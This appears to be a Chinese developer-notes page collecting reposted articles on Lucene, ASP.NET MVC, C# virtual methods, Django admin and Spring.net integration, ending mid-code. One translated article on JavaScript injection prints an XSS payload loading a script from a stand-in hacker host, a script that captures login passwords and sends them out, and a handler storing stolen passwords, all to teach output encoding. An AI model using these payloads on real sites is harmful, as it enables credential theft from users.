开发笔记 第822页

Lucene：基于Java的全文检索引擎简介

作者：车东 发表于：2002-08-06 18:08 最后更新于：2007-04-12 11:04
版权声明：可以任意转载，转载时请务必以超链接形式标明文章原始出处和作者信息及本声明。
http://www.chedong.com/tech/lucene.html

索引数据源：doc(field1,field2...) doc(field1,field2...)
\  indexer /
_____________
| Lucene Index|
--------------
/ searcher \
结果输出：Hits(doc(field1,field2) doc(field1...))

 索引数据源：record(field1,field2...) record(field1..)
\  SQL: insert/
_____________
| DB  Index   |
-------------
/ SQL: select \
结果输出：results(record(field1,field2..) record(field1...))

public class IndexFiles {
//使用方法：: IndexFiles [索引输出目录] [索引的文件列表] ...
public static void main(String[] args) throws Exception {
String indexPath = args[0];
IndexWriter writer;
//用指定的语言分析器构造一个新的写索引器（第3个参数表示是否为追加索引）
writer = new IndexWriter(indexPath, new SimpleAnalyzer(), false);
for (int i=1; i<args.length; i++) {
System.out.println("Indexing file " + args[i]);
InputStream is = new FileInputStream(args[i]);
//构造包含2个字段Field的Document对象
//一个是路径path字段，不索引，只存储
//一个是内容body字段，进行全文索引，并存储
Document doc = new Document();
doc.add(Field.UnIndexed("path", args[i]));
doc.add(Field.Text("body", (Reader) new InputStreamReader(is)));
//将文档写入索引
writer.addDocument(doc);
is.close();
};
//关闭写索引器
writer.close();
}
}
　

public class Search {
public static void main(String[] args) throws Exception {
String indexPath = args[0], queryString = args[1];
//指向索引目录的搜索器
Searcher searcher = new IndexSearcher(indexPath);
//查询解析器：使用和索引同样的语言分析器
Query query = QueryParser.parse(queryString, "body",
new SimpleAnalyzer());
//搜索结果使用Hits存储
Hits hits = searcher.search(query);
//通过hits可以访问到相应字段的数据和查询的匹配度
for (int i=0; i<hits.length(); i++) {
System.out.println(hits.doc(i).get("path") + "; Score: " +
hits.score(i));
};
}
}

...
　scorer.score(new HitCollector() {
private float minScore = 0.0f;
public final void collect(int doc, float score) {
if (score > 0.0f &&			  // ignore zeroed buckets
(bits==null || bits.get(doc))) {	  // skip docs not in bits
totalHits[0]++;
if (score >= minScore) {
/* 原先：Lucene将docID和相应的匹配度score例入结果命中列表中：
* hq.put(new ScoreDoc(doc, score));	  // update hit queue
* 如果用doc 或 1/doc 代替 score，就实现了根据docID顺排或逆排
* 假设数据源索引时已经按照某个字段排好了序，而结果根据docID排序也就实现了
* 针对某个字段的排序，甚至可以实现更复杂的score和docID的拟合。
*/
hq.put(new ScoreDoc(doc, (float) 1/doc ));
if (hq.size() > nDocs) {		  // if hit queue overfull
hq.pop();			  // remove lowest in hit queue
minScore = ((ScoreDoc)hq.top()).score; // reset minScore
}
}
}
}
}, reader.maxDoc());

数据源: WORD       PDF     HTML    DB       other
\          |       |      |         /
XML中间格式
|
Lucene INDEX

 原文地址 http://hi.baidu.com/xiong5120/blog/item/1024ff241a92f6004c088d45.html

原文地址：http://weblogs.ASP.NET/stephenwalther/archive/2008/06/23/asp-net-mvc-tip-7-prevent-JavaScript-injection-attacks-with-html-encode.aspx

转载醒目！这里提出了一个不经常被开发人员注意的问题，JavaScript其实也是可以注入的。

摘要：在这个Tip中，你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事，并解释了如何通过一种简单的方式来防止这种攻击。

当你从站点的浏览者那里收集表单数据，并将表单数据展示给其他浏览者时，你应该对表单数据进行编码。否则，你的站点大门将为JavaScript注入攻击打开。

例如，如果你创建了一个论坛，在将消息显示到Web页面之前，请确保对其进行了编码。如果你没有对消息进行编码，某些人可能会发表一个带JavaScript的消息，做一件大大的坏事。 

在 这个Tip中，我将强调黑客可以利用JavaScript注入攻击做非常严重的事情。让我惊奇的是，关心防止JavaScript注入攻击的Web开发者 少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个 Tip中，我将向你展示黑客如何利用JavaScript注入攻击来盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

据Wikipedia称，JavaScript注入攻击已经“超越缓冲区溢出，成为最常见的公共安全弱点。”更恐怖的是，据Wikipedia称，70%的网站向JavaScript注入攻击敞开着（http://en.wikipedia.org/wiki/Cross-site_scripting）。因此，本文读者，你们当中的70%正在犯懒并危害着你们网站的用户。羞羞！

如何通过JavaScript盗取另一个用户的密码

这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序，使用的是ASP.NET MVC。

Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容，可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

图1展示了反馈表单。

图1 – 反馈表单

注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中（Web站点的常见场景）。

由于反馈表单显示了其它客户留下的反馈，该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码：

<script src=http://HackerSite.com/EvilScript.js></script>

当该文本重新显示在反馈表单页中时，<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

清单1 – EvilScript.js

if (window.attachEvent)  
     document.forms[0].attachEvent('onsubmit', fn);  
   
function fn(e)  
{  
     var userName = document.getElementById("userName").value;  
     var password = document.getElementById("password").value;  
     var d = new Date();  
     var url = "HackerSite/EvilHandler.ashx?userName=" + userName   
        + "&password=" + password + "&d=" + d.valueOf();  
   
     var script = document.createElement("script");  
     script.type = 'text/javascript';  
     script.src = url;  
     document.body.appendChild( script );   
} 

清 单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时，会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来，该脚本向页面中动态注入了一 个<script>标签，并将userName和password传递给一个名为EvilHandler.ashx的（可能是远程的）处理 器。

EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码，并存放在数据库中。

清单2 – EvilHandler.ashx

using System;  
using System.Collections;  
using System.Data;  
using System.Linq;  
using System.Web;  
using System.Web.Services;  
using System.Web.Services.Protocols;  
using System.Xml.Linq;  
   
namespace CustomerSurvey.HackerSite  
{  
     [WebService(Namespace = "http://tempuri.org/")]  
     [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]  
     public class EvilHandler : IHttpHandler  
     {  
   
         public void ProcessRequest(HttpContext context)  
         {  
             // Get user name and password from URL  
             string userName = context.Request.QueryString["userName"];  
             string password = context.Request.QueryString["password"];  
               
             // Store in database  
             HackerDataContext db = new HackerDataContext();  
             StolenPassword pwd = new StolenPassword();  
             pwd.userName = userName;  
             pwd.password = password;  
             db.StolenPasswords.InsertOnSubmit(pwd);  
             db.SubmitChanges();  
         }  
   
         public bool IsReusable  
         {  
             get 
             {  
                 return false;  
             }  
         }  
     }  
} 

假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下，黑客现在就能访问任何人的帐户信息了，并能把任何人的钱转到位于开曼群岛的帐户中。很不错，才需要这么几行代码。

ASP.NET MVC不支持请求验证

这 种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证（Request Validation）的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字，请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样 的文本，就会导致异常的抛出。

要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中，你必须完全由自己来防止JavaScript注入攻击。

防止JavaScript注入攻击

防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

例如，下面是Index视图中用于显示用户反馈的部分代码：

<h1>Customer Feedback</h1> 
<ul> 
<% foreach (Survey survey in ViewData.Model)  
   { %> 
   <li> 
    <%= survey.EntryDate.ToShortDateString() %> 
    &mdash;  
    <%= survey.Feedback %> 
   </li> 
<% } %> 
</ul> 

该代码包含一个循环，遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。

为了防止JavaScript注入攻击，你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式：

<h1>Customer Feedback</h1> 
<ul> 
<% foreach (Survey survey in ViewData.Model)  
    { %> 
    <li> 
     <%= survey.EntryDate.ToShortDateString() %> 
     &mdash;  
     <%= Html.Encode(survey.Feedback) %> 
    </li> 
<% } %> 
</ul> 

哪些内容需要编码

注意在前面的代码中，我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。

首先，EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。

假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的，黑客也不可能向其中注入恶意代码。因此，你无须担心是否需要对该属性进行编码。

通常，任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如，要小心地显示用户名。如果你允许用户创建属于他们自己的用户名，则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中（或一个指向色情图片的img标签）。

另外，小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子：

<a href="javascript:alert('Something Evil!')">Mr. Hacker</a> 

当你单击该链接时，JavaScript就会执行。在这种情况下，没有什么恶劣的事发生。但是，你可能执行的是窃取表单数据或cookies数据的代码。

验证、会话状态和HttpOnly Cookies

你可以利用JavaScript注入攻击来窃取Cookies。例如，你将用户的信用卡号存放在一个Cookies中，然后你可以向页面中注入JavaScript，使用document.cookie DOM属性来截取信用卡号。

ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据（Ticket）。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies，你就能模仿其他网站用户并且去用户的会话状 态信息。

幸运的是，Microsoft对此采取了预防措 施，使得很难窃取Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie，它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。

Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此，你仍需要注意为所有用户输入数据进行HTML编码，以避免黑客盗取 Forms Authentication和Session State Cookie。

小结

该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样，JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意，每当在MVC视图中显示从用户那里收集来得数据时，都要进行编码。

你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后，单击登录表单中的按钮，用户名和密码会出现在StolenPasswords数据库表中。
此处下载源代码：http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip。

最近使用ASP.NET MVC 中的Controller.Session对象时发现一个问题
原代码如下：
InformationController:
            //网店控制器
            ShopController shop = new ShopController();
            UserInfo user = business.SelectById<UserInfo>(userId);
            //查询用户
            Session["User"] = user;
            //图片信息
            //定位到编辑图片信息页面
            if (picture == 1)
            {
                return shop.EditProduct(identifier, modId);
            }
            //文字信息
            if (picture == 2)
            {
                return shop.EditInfo(identifier, modId);
            }
ShopController:
        public ActionResult EditInfo(int identifier, int moduleId)
        {
            //如果登录用户为空则重定向到登录界面
            if (null == Session["User"])
            {
                return RedirectToAction("Index", "User");
            }
        }
实现的功能就是，通过InfomationController赋值Session["User"]对象，然后调用ShopController的action
但是上述代码执行后，shopController中读取不到Session["User"]？！于是想到Session是MVC封装到
Controller的一个属性Session，因此将上述对Session["user"]的赋值只是针对informationController
而不是shopController，因此shopController读取不到Session["User"]所以出错
将代码改为：
InformationController:
            //网店控制器
            ShopController shop = new ShopController();
            UserInfo user = business.SelectById<UserInfo>(userId);
            //查询用户
            shop.Session["User"] = user;
问题解决，但是还有个疑问就是为什么我用户登录的Session["User"]ShopController就能够调用呢？
看来需要看看MVC源码了
翻看了MVC的源码发现先前的修改是错的，同样是提示NullReferenceException
Controller的源码中Session属性的声明如下：
        public HttpSessionStateBase Session {
            get {
                return HttpContext == null ? null : HttpContext.Session;
            }
        }
原来是只读属性，于是单步跟踪发现
ShopController shop= new ShopController();
创建后的Shop控制器的Session属性为Null,结果给Session["User"]赋值肯定报空指针异常,于是发现直接创建
Cotroller肯定不行，于是改用RedirectToAction()问题解决

     Python 3.0 已经正式发布。Python 3.0 又称“Python3000”或“Py3k”，历经近 3 年的开发，是 Python 发布历史中的一个里程碑版本。 需要注意的是，Python 3.0 与 2.x不兼容，其内置对象已被更改，且许多不赞成的特性也最终被移除。不过 Python提供了一个升级工具“2to3”，详情请看：http://docs.python.org/library/2to3.html

转载：http://www.cnblogs.com/560889223/archive/2008/12/03/1346340.html

前言

　　这篇文章出自我个人对C#虚函数特性的研究和理解，未参考、查阅第三方资料，因此很可能存在谬误之处。我在这里只是为了将我的理解呈现给大家，也希望大家在看到我犯了错误后告诉我。

用词约定

• “方法的签名”包括返回类型、方法名、参数列表，这三者共同标识了一个方法。
• “声明方法”，即指出该方法的签名。“定义方法”，则是指定调用方法时执行的代码。
• “同名方法”是指方法的签名相同的两个方法。
• “重写”一个方法，意味着子类想继承父类对方法的声明，却想重新定义该方法。
• 单独使用“使用”一词时，包括“显式”或“隐式”两种使用方式：前者是指在代码中指明，后者是根据语句的上下文推断。
• 某个类的方法，包括了在该类中定义的方法，以及由继承得到的直接父类的方法。注意这条规则的递归性质。  

理论部分

　　在父类与子类里，除了类之间的继承链，还存在方法之间的继承链。

　　C#里，在一个类中声明一个方法时，有四个和方法的继承性有关的关键字：new、virtual、sealed、override。

• virtual 表示允许子类的同名方法与其^①建立继承链。
• override 表示其^①与父类的同名方法之间建立了继承链，并隐式使用 virtual 关键字。
• new 表示其切断了其^①与父类的同名方法之间的继承链。
• sealed 表示将其^①与父类的同名方法建立继承链（注意这个就是 override 关键字的特性），并且不允许子类的同名方法与其建立继承链。在使用 sealed 关键字时，必须同时显式使用 override 关键字。

　　以及：

• 在定义方法时，若不使用以上关键字，方法就会具有new关键字的特性。对于这一点，如果父类中没有同名方法，则没有任何影响；如果父类中存在一个同名方法，编译器会给出一个警告，询问你是否是想隐藏父类的同名方法，并推荐你显式地为其指定new关键字。

　　①其：指代正在进行声明的方法。

　　依照上述的说明，在调用类上的某个方法时，可以为该方法构建出一个或多个“方法继承链”。首先列出从子类^②一直到父类^③的类继承链，并列出这些类对该方法的最初定义或重定义。然后从父类到子类，逐个检查每个类对该方法的定义，按以下规则构造方法继承链：

1. 任何一个没有使用 override 或 sealed 关键字的方法定义都将成为继承链的开端；
2. 如果该类在定义方法时使用了 virtual 关键字，则会被附加到继承链中。
3. 继承链的结束取决于两个因素：若子类中存在使用了 new 关键字的同名方法，则之前的继承链立刻结束（该方法不会被添加到继承链中）；若子类中存在使用了 sealed 关键字的同名方法，则在将该方法添加到继承链后，然后结束继承链。

　　当你拿到一个子类^②的实例，却使用父类^③的对象引用调用一个方法时（例如“A instanceRef = new C(); instanceRef.Foo1()”，这时类型A的引用就指向了类型C的对象），C#会先检查该方法是否为一个虚方法（使用了 virtual 关键字）：如果不是，则简单地调用该方法的父类^③版本即可；如果是，则沿着方法的继承链向下寻找，找到位于继承链底部的那个方法。
　　②子类：指该实例的实际类型。
　　③父类：指在调用方法时，使用的对象引用的类型；该类型必然是子类的父类型。

实践部分

　　我定义了以下四个类：

类定义
public class A
{
    public virtual void Foo1()
    {
        Console.WriteLine("A.Foo1() was invoked.");
    }

    public void Foo2()
    {
        Console.WriteLine("A.Foo2() was invoked.");
    }
}

public class B : A
{
    public override void Foo1()
    {
        Console.WriteLine("B.Foo1() was invoked.");
    }

    public new virtual void Foo2()
    {
        Console.WriteLine("B.Foo2() was invoked");
    }
}

public class C : B
{
    public new void Foo1()
    {
        Console.WriteLine("C.Foo1() was invoked.");
    }
}

public class D : C
{
    public override sealed void Foo2()
    {
        Console.WriteLine("D.Foo2() was invoked.");
    }
}

 

　　当运行如下代码时，会打印出什么？

运行这些代码
C aD = new D();
A aC = new C();

aD.Foo1();
aD.Foo2();
aC.Foo1();
aC.Foo2();

 

　　结果是：

打印出的结果
C.Foo1() was invoked.
D.Foo2() was invoked.
B.Foo1() was invoked.
A.Foo2() was invoked.

 

　　例子很简单，依照之前的规则，可以画出如下一幅图。图中圆形的末端表示封闭、中断继承链；菱形的末端表示开放、允许构建继承链；类描述中的等式，表示从该类型的对象引用调用对应方法（等号左边的斜体）时，实际执行的代码体是在何处（等号右边的正常字体）定义的。

　　其实，为了确认这里描述出来的方法的继承链，甚至都不需要实地运行此代码。将代码放在Visual Studio里，使用“重构”（Refactor）菜单中的“重命名”（Rename）修改方法名称，待完成后就会发现在方法继承链的中断处，自动修改符 号名称的动作也中止了。

补充

　　对于 this 关键字，上述的规则也适用。只需要将 this 依 照当前的代码上下文翻译为对应的类型引用，就可以依照之前叙述的方法确定最终调用的代码了。例如在C中的Foo1方法里假如有这么一条语 句：“this.Foo2()”。当在外部运行“D.Foo2()”时，就会就会解析到“C.Foo1()”，这时，C.Foo1()方法的内部在解析 “this.Foo2()”时就会解析到D.Foo2()。

　　对于 base 关键字，则比较简单，只是在基类的方法（这里“基类的方法”一词，请参见“用词约定”的第6条。）中找到同名方法，然后调用，不存在解析虚函数的过程。

　　对于被委托对象包装的方法指针，在调用委托时，仍会按照上述规则解析到正确的方法。

　　本文示例中使用了“Foo”开头的方法名，而这个习惯借鉴自一些别的文章。这里是有个典故还是怎么？

转载：http://www.cnblogs.com/reallypride/archive/2008/12/02/1346215.html

自定义admin表单
这足以让我们惊讶好几分钟，所有的代码我们都不需要写。
当我们调用admin.site.register(Poll)时，Django只让你编辑这个对象并”推测“怎么把它显示在管理页面上。
很多时候，你可能想要控制admin的样式和功能。你可以在你注册对象的时候把选项告诉Django来实现。
让我们看一下在编辑表单中是怎样实现重新排序字段的。用下面的代码来替换admin.site.register(Poll)：
　　class PollAdmin(admin.ModelAdmin):
    　　fields = ['pub_date', 'question']

　　admin.site.register(Poll, PollAdmin)
你将遵循这个模式——创建一个admin模型对象，然后把 它传递给admin.site.register()的第二个参数——任何时候你需要修改admin的选项都是修改一个对象。上面具体的改变 是"Publication date"字段在"Question"字段的前面:

只有两个字段并不会给人留下深刻的印象，但当admin表单包含有大量字段的时候，选择一个直观的排序方式就是一个重要的细节了。
并且，你可能想要把这些大量的表单字段分割归类为字段集：
　　class PollAdmin(admin.ModelAdmin):
    　　fieldsets = [
        　　(None,               {'fields': ['question']}),
        　　('Date information', {'fields': ['pub_date']}),
    　　]

　　admin.site.register(Poll, PollAdmin)
字段集中每个tuple的第一个元素是字段集的标题。现在我们的表单看起来像这样：

你可以给每个字段集指定任意的HTML样式。Django提供有一个"collapse"样式，它让每个具体的字段集在初始化时显示为折叠的。
当你的一个很长的表单中包含了许多不常用的字段时，这个样式就显得很实用了：
　　class PollAdmin(admin.ModelAdmin):
    　　fieldsets = [
        　　(None,               {'fields': ['question']}),
        　　('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}),
    　　]

 
添加关联的对象
OK，我们已经有了一个Poll admin页面。但是一个Poll有多个Choice，管理页面并没有显示Choices。
好的。
有两种方法可以解决这个问题。第一种方法是注册admin Choice，就像我们注册Poll那样。这很容易：
　　from mysite.polls.models import Choice

　　admin.site.register(Choice)
现在Django admin中的"Choices"已经可用了。这个"Add choice"看起来像这样：

在这表单中，"Poll"字段是一个选择框，包含数据库所有的poll。Django知道，外键在admin中代表一个<select>框。
在我们的例子中，只有poll存在外键。
还注意到"Poll"旁边的"Add Another"链接。每个包含有和其它对象构成外键关系的对象都会有这个链接。
当你单击"Add Another"时，你会得到一组带有"Add poll"表单的窗体。
如果你在窗体中添加一个poll并点击"Save"，Django把这个poll保存到数据库中并把它作为选项动态添加到"Add choise"中。
但实际上，这是一种低效的添加Choice对象到系统中的做法。当你在创建Poll对象时，如果你能给它直接添加Choice就更好了。让我们实现它吧。
移去注册Choice模型的register()方法调用。然后，编辑Poll的注册代码：
　　class ChoiceInline(admin.StackedInline):
    　　model = Choice
    　　extra = 3

　　class PollAdmin(admin.ModelAdmin):
   　　 fieldsets = [
        　　(None,               {'fields': ['question']}),
        　　('Date information', {'fields': ['pub_date'], 'classes': ['collapse']}),
    　　]
    　　inlines = [ChoiceInline]

　　admin.site.register(Poll, PollAdmin)
这些代码告诉Django："Choice对象在Poll的admin page中编辑。默认，为3个choice提供足够的字段。"
加载"Add poll"页面看看它是什么样子的：

它是这样工作的：有3个与Choice相关联的栏——在extra中指定的——每次你返回到一个已经创建的对象的"Change"页面时，你都会得到另外3个的额外栏。
但还是有个小问题。它占据了太多的空间来显示关联对象Choice的所有输入域。对于这个问题，Django提供一种制表的方式来显示关联的对象；
你只需要修改一下ChoiceInline的声明就行了：
　　class ChoiceInline(admin.TabularInline):
    　　#…
使用TabularInline (取代StackedInline), 关联的对象显得更紧凑，它是基于表的格式：

自定义admin change list
现在Poll admin页面已经很好了，让我们对"change list"页面做些优化——它用于显示系统中所有的poll。
这是它看起来的样子：

默认，Django显示每个对象的str()。但有时候如果我们能显示个别字段的话会更有效果。
要做到这点，只需使用list_display admin选项，这是一个用于在对象的change list页面内把字段名作为列名显示的tuple：
　　class PollAdmin(admin.ModelAdmin):
    　　# …
    　　list_display = ('question', 'pub_date')
　　Just for good measure, let's also include the was_published_today custom method from Tutorial 1:

　　class PollAdmin(admin.ModelAdmin):
    　　# …
   　　 list_display = ('question', 'pub_date', 'was_published_today')
现在，poll change list页面看起来是这样：

你可以点击列头来排序这些值——除了was_published_today头外，因为排序不支持任何方法的输出值。
还注意到was_published_today列头默认是它的方法名（使用下划线替换空格）。但你可以通过给方法一个简短的属性描述来改变这个名：
　　def was_published_today(self):
    　　return self.pub_date.date() == datetime.date.today()
　　was_published_today.short_description = 'Published today?'
让我们对Poll change list页面添加另外的改进：过滤。添加下面的代码到PollAdmin中：
　　list_filter = ['pub_date']
添加了一个"Filter"侧边栏让人们使用pub_date字段过滤change list：

这个过滤器显示的样式取决于你要过滤的字段的类型。
因为pub_date是DateTimeField，Django知道给DateTimeField一个默认的过滤器：

　　"Any date"，"Today"，"Past 7 days"，"This month"，"This year"。
现在变得更好了。让我们添加一些检索功能：
　　search_fields = ['question']
为change list添加了一个检索框。当有人输入检索值时，Django会检索question字段。
你可以使用多个检索字段——尽管它使用的是LIKE查询，既保证了自身的可读性，也保证了你的数据库的效率了。
最后，因为Poll对象包含有日期，如果能向下操作就更方便了。添加这行代码：
　　date_hierarchy = 'pub_date'
它在change list页面添加了一个日期分层的导航。在上层，它显示所有可用的年份。然后向下显示月和日。
现在也是一个注意change lists给你提供了免费的分页功能的好时机。
默认是每页显示50条记录。Change-list的分页，检索，过滤，日期分层和列头排序都按照你想要的效果工作了。

既然提到mvc，就不得不说说微软在ASP.NET上的一个重要创造——postback机制。
但凡用ASP.NET做web开发的人，都和这个机制打过交道吧。asp.net页面aspx是其于这种自回发机制运转的。
我们平时用到的web控件，诸如TextBox、Button等，无一不是基于postback进行封装，在最终生成的html页中，它们还是会被转化成为<input type='text'>或者<input type='submit'>。
然后我们可以查看一下页面的源文件代码，会发现.net framework为我们写了不少东西：比如__doPostBack()这个js方法，用于提交窗体；WebForm_OnSubmit()方法会进行 窗体的验证；一个长长的__VIEWSTATE隐藏字段保存窗体上控件的状态信息等（令人发指）……等等。（详述请参见种玉堂的《再认识asp.net的postback机制:探索__doPostBack的来龙去脉 》）。
多么让人又爱又恨的发明!　postback确实方便了开发者，尤其是小型应用，手到擒来；但性能呢？不敢恭维！尤其那一长串__VIEWSTATE，每每看到，都觉得揪心。

所以，在项目中的前端表现界面，决定启用mvc实现。
原来使用monoRail，感觉很好，但一直没有解决与Spring.net整合问题；而后来干脆听说，monoRail已经停止维护这个项目，只得作罢。幸好，此时还有一个选择——ASP.NET MVC。
经过一段时间的尝试，终于把它与Spring.net整合在了一起，这意味着，mvc能共享到Spring.net中的所有对象，无缝集成。
由于ASP.NET MVC是ASP.NET 3.5 Extensions Preview 的一个部分，能不能在IIS6+Asp.net 2.0 framework下良好运行，也一度让人担忧，可喜的是，网上很多人都这么干，并且成功了。也就是说，如果决定在.net 2.0下使用ASP.NET MVC（本实例使用的版本为asp.net mvc Preview 4)，除引用mvc的dll外（Microsoft.Web.Mvc.dll、System.Web.Mvc.dll等），还需额外的引用一个.net 3.5的dll（System.core.dll），此处提供这个包的下载：

Asp.net mvc preview 4 和 System.core.dll(v3.5)：/Files/moye/Asp.Net_MVC_4.rar

简单说，.net mvc将视图（View）与控制器（Controller）进行了分离，表现与逻辑的关注点不再纠缠于一团。而Model的传递，微软提供了一套 DataDictionary（ViewDataDictionary、TempDataDictionary等）。同时，像monoRail一 样，.net mvc在页面中也可以其于模板书写表达式，比如：你可以在Controller中传递一个IList<T>过来，这边接收到对象拆箱后，循环 迭代输出一个行数等同的<Table>。
关于asp.net mvc的详尽原理，此处不累述，有兴趣可参阅 乱世重典的《Asp.net Mvc Framework 系列》。

欧克，回到重点，说说整合的事：

以上图示的结构：
将Controller单拿出来，做一个层，用以响应Web/Views中视图的请求。整合的目标就是：让这些Controller能够被注入，运行于Spring.net容器中。

通过学习Fredrik Normén的经验：《ASP.Net MVC Framework – Create your own IControllerFactory and use Spring.Net for DI 》，我们能知道，要创建自己的ControllerFactory，必须实现System.Web.Mvc的IControllerFactory接口。原型如（.net mvc Preview 4，版本不同接口也可能不一样）：

在实现的CreateController方法中，将负责对不同的Views派发对应的Controller。这里做一个假设，/Views目录中有一个 叫User的目录，那框架就认为，这是一个User视图集合(具体表现在url上，如/User/home、/User/login等)，应该有一个叫 UserController的控制器对此目录中的所有页面进行响应。

欧克，实践一把：

◆在Web的/Views创建一个web.config文件，并这样配置（它的作用：接管对.aspx页的请求流程）：

web.config
<?xml version="1.0"?>
<configuration>
  <system.web>
    <httpHandlers>
      <remove verb="*" path="*.aspx"/>
      <add path="*.aspx" verb="*" 
          type="System.Web.HttpNotFoundHandler"/>
    </httpHandlers>
  </system.web>
  <system.webServer>
    <validation validateIntegratedModeConfiguration="false"/>
    <handlers>
      <remove name="PageHandlerFactory-ISAPI-2.0"/>
      <remove name="PageHandlerFactory-ISAPI-1.1"/>
      <remove name="PageHandlerFactory-Integrated"/>
      <add name="BlockViewHandler" path="*.aspx" verb="*" preCondition="integratedMode" type="System.Web.HttpNotFoundHandler"/>
    </handlers>
  </system.webServer>
</configuration>

◆在/Views中创建一个叫User的目录，并在其下添加一个Home.aspx页。当然这样是不能用的，需要修改一下页面和.cs： 

Home.aspx
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="Home.aspx.cs" Inherits="mvcApp.Views.User.Home" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
    <title>User Home</title>
</head>
<body>
</body>
</html>

Home.aspx.cs
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.Mvc;
namespace mvcApp.Views.User
{
    public partial class Home : ViewPage
    {
    }
}

◆此时，还需要一个Controller来负责响应User视图中的请求，如前结构图所示，在woodigg.controllers层中，创建一个UserController类，担当控制器角色：

UserControllers.cs
using System;
using System.Text;
using System.Collections.Generic;
using woodigg.model;
using woodigg.Interface.DAO;
using System.Data;
using System.Web;
using System.Web.Routing;
using System.Web.Mvc;
using System.IO;
using woodigg.controllers;
using woodigg.DAO.Tool;
using woodigg.bll.Tool;
namespace woodigg.controllers.Controllers
{
    public class UserControllers : Controller
    {
        #region 注入对象
        private IUserMainDAO _UserMainDaoSpring;
        public IUserMainDAO UserMainDaoSpring
        {
            get { return _UserMainDaoSpring; }
            set { _UserMainDaoSpring = value; }
        }
        #endregion
        /*——————— USER ———————*/
        /// <summary>
        /// Home页
        /// </summary>
        [HandleError]
        [OutputCache(Duration = 60, VaryByParam = "id")]
        #region ActionResult Home(int id)
        public ActionResult Home(int id)
        {
            ViewData["Title"] = "用户中心 — Haphere.com";
            return View();
        }
        #endregion       
    }
}

◆在控制器中，有一个Home方法，它刚好与Home.aspx同名，所以它就是负责响应Home页请求的方法。Home方法有一个整型的参数，说明这个请求也是传递参数的，形如http://localhost/User/Home/1（在.net 2.0 url没这么完美，它形如http://localhost/User.mvc/Home/1），那么１就是这个id参数，然后就去查数据库吧，１号用户的数据将它展示出来，当然这个示例没有取任何东西，只是传递了一个ViewData数据。
而我们也注意到，这里还进行了注入，欧克，开始整合Spring.net和.net mvc控制器工厂吧：

◆做一个spring.net配置文件，controllers.xml，还放在web的/config目录中：

controllers.xml
<?xml version="1.0" encoding="utf-8" ?>
<objects xmlns="http://www.springframework.net"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.net http://www.springframework.net/xsd/spring-objects.xsd"
>
  <!–controllers–>
  <object id="UserController"
          type="woodigg.controllers.Controllers.UserControllers, woodigg.controllers" autowire="byName">
  </object>
</objects>

◆然后，为实现IControllerFactory，在bll层中创建一个SpringControllerFactory类（一旦此bll程序集被引用，所有Views请求都将视这个实现类为Handler，控制器由它派发，这是.net mvc一个很妙的设计）：

SpringControllerFactory.cs
using System;
using System.Collections.Generic;
using System.Text;
using Spring.Core.IO;
using Spring.Objects.Factory;
using Spring.Objects.Factory.Xml;
using System.Web.Mvc;
using System.Web.Routing;
using System.IO;
using woodigg.DAO.Tool;
using Spring.Context;
using Spring.Context.Support;
namespace woodigg.bll.Handler
{
    /// <summary>
    /// 控制器工厂
    /// </summary>
    public class SpringControllerFactory : IControllerFactory
    {
        /// <summary>
        /// 实现接口 
        /// </summary>
